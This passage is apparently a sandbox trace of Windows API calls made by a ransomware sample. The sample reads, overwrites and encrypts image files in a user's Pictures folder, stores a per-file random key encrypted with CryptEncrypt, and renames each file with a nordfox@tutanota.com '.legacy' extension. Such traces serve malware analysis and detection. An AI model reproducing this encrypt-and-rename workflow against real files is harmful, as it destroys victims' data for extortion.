lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.994] WriteFile (in: hFile=0x600, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.994] CloseHandle (hObject=0x600) returned 1 [0112.994] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0112.994] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0112.994] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\hCOFvsmgzu5LYwL.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\hcofvsmgzu5lywl.jpg"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\hCOFvsmgzu5LYwL.jpg.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\hcofvsmgzu5lywl.jpg.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.997] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7f18 | out: hHeap=0x520000) returned 1 [0112.997] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0112.997] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0112.997] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0112.997] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4428 [0112.997] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0112.997] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0112.997] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34f8 | out: pbBuffer=0x5c34f8) returned 1 [0112.997] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\GEyT5f.png", dwFileAttributes=0x80) returned 1 [0112.997] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d240 [0112.998] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563960 [0112.998] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0112.998] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\GEyT5f.png" (normalized: "c:\\users\\fd1hvy\\pictures\\geyt5f.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.998] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=41812) returned 1 [0112.999] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa354) returned 0x5e9bd0 [0112.999] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa354) returned 0x5f3f30 [0112.999] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xa354, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xa354, lpOverlapped=0x0) returned 1 [0113.001] SetFilePointer (in: hFile=0x600, lDistanceToMove=-41812, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.001] WriteFile (in: hFile=0x600, lpBuffer=0x5f3f30*, nNumberOfBytesToWrite=0xa354, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f3f30*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa354, lpOverlapped=0x0) returned 1 [0113.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0113.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f3f30 | out: hHeap=0x520000) returned 1 [0113.002] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa354 [0113.002] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.002] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.004] WriteFile (in: hFile=0x600, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.004] WriteFile (in: hFile=0x600, lpBuffer=0x5c34f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.004] CloseHandle (hObject=0x600) returned 1 [0113.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4428 | out: hHeap=0x520000) returned 1 [0113.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0113.004] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\GEyT5f.png" (normalized: "c:\\users\\fd1hvy\\pictures\\geyt5f.png"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\GEyT5f.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\geyt5f.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.009] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563960 | out: hHeap=0x520000) returned 1 [0113.009] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0113.009] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0113.009] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0113.010] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0113.010] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0113.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0113.010] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34f8 | out: pbBuffer=0x5c34f8) returned 1 [0113.010] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\FkoB.png", dwFileAttributes=0x80) returned 1 [0113.010] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0113.010] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563df8 [0113.010] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0113.010] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\FkoB.png" (normalized: "c:\\users\\fd1hvy\\pictures\\fkob.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0113.011] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4211) returned 1 [0113.011] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1073) returned 0x582160 [0113.011] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1073) returned 0x5e9bd0 [0113.011] ReadFile (in: hFile=0x600, lpBuffer=0x582160, nNumberOfBytesToRead=0x1073, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0x1073, lpOverlapped=0x0) returned 1 [0113.012] SetFilePointer (in: hFile=0x600, lDistanceToMove=-4211, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.012] WriteFile (in: hFile=0x600, lpBuffer=0x5e9bd0*, nNumberOfBytesToWrite=0x1073, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1073, lpOverlapped=0x0) returned 1 [0113.012] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0113.012] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0113.012] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1073 [0113.012] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.012] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.013] WriteFile (in: hFile=0x600, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.013] WriteFile (in: hFile=0x600, lpBuffer=0x5c34f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.013] CloseHandle (hObject=0x600) returned 1 [0113.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0113.013] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0113.013] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\FkoB.png" (normalized: "c:\\users\\fd1hvy\\pictures\\fkob.png"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\FkoB.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\fkob.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563df8 | out: hHeap=0x520000) returned 1 [0113.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0113.015] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0113.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56da28 [0113.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0113.015] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0113.015] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0113.015] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0113.015] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\desktop.ini", dwFileAttributes=0x80) returned 1 [0113.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0113.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563ca8 [0113.016] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0113.016] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0113.016] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=504) returned 1 [0113.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1f8) returned 0x5646a8 [0113.016] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1f8) returned 0x52f438 [0113.016] ReadFile (in: hFile=0x600, lpBuffer=0x5646a8, nNumberOfBytesToRead=0x1f8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1f8, lpOverlapped=0x0) returned 1 [0113.017] SetFilePointer (in: hFile=0x600, lDistanceToMove=-504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.017] WriteFile (in: hFile=0x600, lpBuffer=0x52f438*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x52f438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1f8, lpOverlapped=0x0) returned 1 [0113.017] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0113.017] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x52f438 | out: hHeap=0x520000) returned 1 [0113.018] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1f8 [0113.018] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.018] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.018] WriteFile (in: hFile=0x600, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.022] WriteFile (in: hFile=0x600, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.022] CloseHandle (hObject=0x600) returned 1 [0113.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0113.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0113.022] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ca8 | out: hHeap=0x520000) returned 1 [0113.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56da28 | out: hHeap=0x520000) returned 1 [0113.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0113.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0113.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4110 [0113.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0113.024] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0113.024] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34f8 | out: pbBuffer=0x5c34f8) returned 1 [0113.024] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\DDeuA1A_b7DAvtwgDbC.png", dwFileAttributes=0x80) returned 1 [0113.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0113.024] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e96c8 [0113.024] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0113.024] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\DDeuA1A_b7DAvtwgDbC.png" (normalized: "c:\\users\\fd1hvy\\pictures\\ddeua1a_b7davtwgdbc.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0113.025] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=15523) returned 1 [0113.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3ca3) returned 0x5e9bd0 [0113.025] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3ca3) returned 0x5ed880 [0113.025] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x3ca3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3ca3, lpOverlapped=0x0) returned 1 [0113.026] SetFilePointer (in: hFile=0x600, lDistanceToMove=-15523, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.026] WriteFile (in: hFile=0x600, lpBuffer=0x5ed880*, nNumberOfBytesToWrite=0x3ca3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5ed880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3ca3, lpOverlapped=0x0) returned 1 [0113.026] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0113.026] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5ed880 | out: hHeap=0x520000) returned 1 [0113.026] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3ca3 [0113.026] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.026] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.027] WriteFile (in: hFile=0x600, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.027] WriteFile (in: hFile=0x600, lpBuffer=0x5c34f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.027] CloseHandle (hObject=0x600) returned 1 [0113.027] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4110 | out: hHeap=0x520000) returned 1 [0113.027] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0113.027] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\DDeuA1A_b7DAvtwgDbC.png" (normalized: "c:\\users\\fd1hvy\\pictures\\ddeua1a_b7davtwgdbc.png"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\DDeuA1A_b7DAvtwgDbC.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\ddeua1a_b7davtwgdbc.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.029] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e96c8 | out: hHeap=0x520000) returned 1 [0113.029] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0113.029] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0113.029] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0113.029] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0113.029] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0113.029] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0113.030] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0113.030] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\bhd97ASHx_vIi6NUtKYM.bmp", dwFileAttributes=0x80) returned 1 [0113.030] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0113.030] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8e30 [0113.030] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0113.030] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\bhd97ASHx_vIi6NUtKYM.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\bhd97ashx_vii6nutkym.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0113.030] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=45049) returned 1 [0113.030] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xaff9) returned 0x5e9bd0 [0113.030] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xaff9) returned 0x5f4bd8 [0113.030] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xaff9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xaff9, lpOverlapped=0x0) returned 1 [0113.032] SetFilePointer (in: hFile=0x600, lDistanceToMove=-45049, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.032] WriteFile (in: hFile=0x600, lpBuffer=0x5f4bd8*, nNumberOfBytesToWrite=0xaff9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f4bd8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xaff9, lpOverlapped=0x0) returned 1 [0113.033] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0113.033] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f4bd8 | out: hHeap=0x520000) returned 1 [0113.034] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xaff9 [0113.034] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.034] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.035] WriteFile (in: hFile=0x600, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.035] WriteFile (in: hFile=0x600, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.035] CloseHandle (hObject=0x600) returned 1 [0113.036] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0113.036] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0113.036] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\bhd97ASHx_vIi6NUtKYM.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\bhd97ashx_vii6nutkym.bmp"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\bhd97ASHx_vIi6NUtKYM.bmp.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\bhd97ashx_vii6nutkym.bmp.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.038] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8e30 | out: hHeap=0x520000) returned 1 [0113.038] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0113.038] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0113.038] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0113.038] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4638 [0113.038] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0113.038] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4638 | out: pbBuffer=0x5c4638) returned 1 [0113.038] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0113.038] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\ArxvN-8o1FXQH.bmp", dwFileAttributes=0x80) returned 1 [0113.038] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0113.038] 